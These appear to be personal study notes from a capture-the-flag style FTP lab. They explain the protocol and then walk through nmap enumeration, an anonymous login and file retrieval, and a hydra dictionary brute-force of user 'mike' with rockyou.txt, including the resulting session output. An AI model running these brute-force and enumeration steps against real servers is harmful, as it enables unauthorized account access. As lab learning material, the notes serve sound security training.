Ftp

Understanding FTP
What is FTP?

File Transfer Protocol (FTP) is, as the name suggests , a protocol used to allow remote transfer of files over a network. It uses a client-server model to do this, and- as we'll come on to later- relays commands and data in a very efficient way.

How does FTP work?
A typical FTP session operates using two channels:

a command (sometimes called the control) channel
a data channel.

As their names imply, the command channel is used for transmitting commands as well as replies to those commands, while the data channel is used for transferring data.

FTP operates using a client-server protocol. The client initiates a connection with the server, the server validates whatever login credentials are provided and then opens the session.

While the session is open, the client may execute FTP commands on the server.

Active vs Passive

The FTP server may support either Active or Passive connections, or both.

In an Active FTP connection, the client opens a port and listens. The server is required to actively connect to it.
In a Passive FTP connection, the server opens a port and listens (passively) and the client connects to it.

This separation of command information and data into separate channels is a way of being able to send commands to the server without having to wait for the current data transfer to finish. If both channels were interlinked, you could only enter commands in between data transfers, which wouldn't be efficient for either large file transfers, or slow internet connections.

More Details:

You can find more details on the technical function, and implementation of, FTP on the Internet Engineering Task Force website: https://www.ietf.org/rfc/rfc959.txt. The IETF is one of a number of standards agencies, who define and regulate internet standards.

Enumerating FTP
Enumeration

By now, I don't think I need to explain any further how enumeration is key when attacking network services and protocols. You should, by now, have enough experience with nmap to be able to port scan effectively. If you get stuck using any tool- you can always use "tool [-h / -help / --help]" to find out more about it's function and syntax. Equally, man pages are extremely useful for this purpose. They can be reached using "man [tool]".
Method

We're going to be exploiting an anonymous FTP login, to see what files we can access- and if they contain any information that might allow us to pop a shell on the system. This is a common pathway in CTF challenges, and mimics a real-life careless implementation of FTP servers.

Resources

As we're going to be logging in to an FTP server, we will need to make sure an FTP client is installed on the system. There should be one installed by default on most Linux operating systems, such as Kali or Parrot OS. You can test if there is one by typing "ftp" into the console. If you're brought to a prompt that says: "ftp>", then you have a working FTP client on your system. If not, it's a simple matter of using "sudo apt install ftp" to install one.
Alternative Enumeration Methods

It's worth noting that some vulnerable versions of in.ftpd and some other FTP server variants return different responses to the "cwd" command for home directories which exist and those that don’t. This can be exploited because you can issue cwd commands before authentication, and if there's a home directory- there is more than likely a user account to go with it. While this bug is found mainly within legacy systems, it's worth knowing about, as a way to exploit FTP.

This vulnerability is documented at: https://www.exploit-db.com/exploits/20745

$ nmap -vv -sV 10.10.28.126
-vv high verbosity, -sV version
discovers port 21 -0 ftp but version vsftpd
discovers port 80 -http

Now we know what type of FTP server we're dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing "ftp [IP]" into the console, and entering "anonymous", and no password when prompted.

ftp 10.10.28.126
Connected to 10.10.28.126.
220 Welcome to the administrator FTP service.
Name (10.10.28.126:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 353 Apr 24 2020 PUBLIC_NOTICE.txt
ftp> get PUBLIC_NOTICE.txt
local: PUBLIC_NOTICE.txt remote: PUBLIC_NOTICE.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for PUBLIC_NOTICE.txt (353 bytes).
226 Transfer complete.
353 bytes received in 0.00 secs (158.4950 kB/s)

retrieve from directory
cat PUBLIC_NOTICE.txt
===================================
MESSAGE FROM SYSTEM ADMINISTRATORS
===================================

Hello,

I hope everyone is aware that the
FTP server will not be available
over the weekend- we will be
carrying out routine system
maintenance. Backups will be
made to my account so I reccomend
encrypting any sensitive data.

Cheers,

Mike

Exploiting FTP

Hydra
hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.46.241 ftp

Let's break it down:
SECTION FUNCTION
hydra Runs the hydra tool
-t 4 Number of parallel connections per target
-l [user] Points to the user who's account you're trying to compromise
-P [path to dictionary] Points to the file containing the list of possible passwords
-vV Sets verbose mode to very verbose, shows the login+pass combination for each attempt
[machine IP] The IP address of the target machine
ftp / protocol Sets the protocol

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.46.241
Connected to 10.10.46.241.
220 Welcome to the administrator FTP service.
Name (10.10.46.241:kali): mike
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 0 0 4096 Apr 24 2020 ftp
-rwxrwxrwx 1 0 0 26 Apr 24 2020 ftp.txt
226 Directory send OK.
ftp> get ftp.txt
local: ftp.txt remote: ftp.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ftp.txt (26 bytes).
226 Transfer complete.
26 bytes received in 0.00 secs (32.6778 kB/s)
ftp> exit
421 Timeout.

https://medium.com/@gregIT/exploiting-simple-network-services-in-ctfs-ec8735be5eef
https://attack.mitre.org/techniques/T1210/
https://www.nextgov.com/cybersecurity/2019/10/nsa-warns-vulnerabilities-multiple-vpn-services/160456/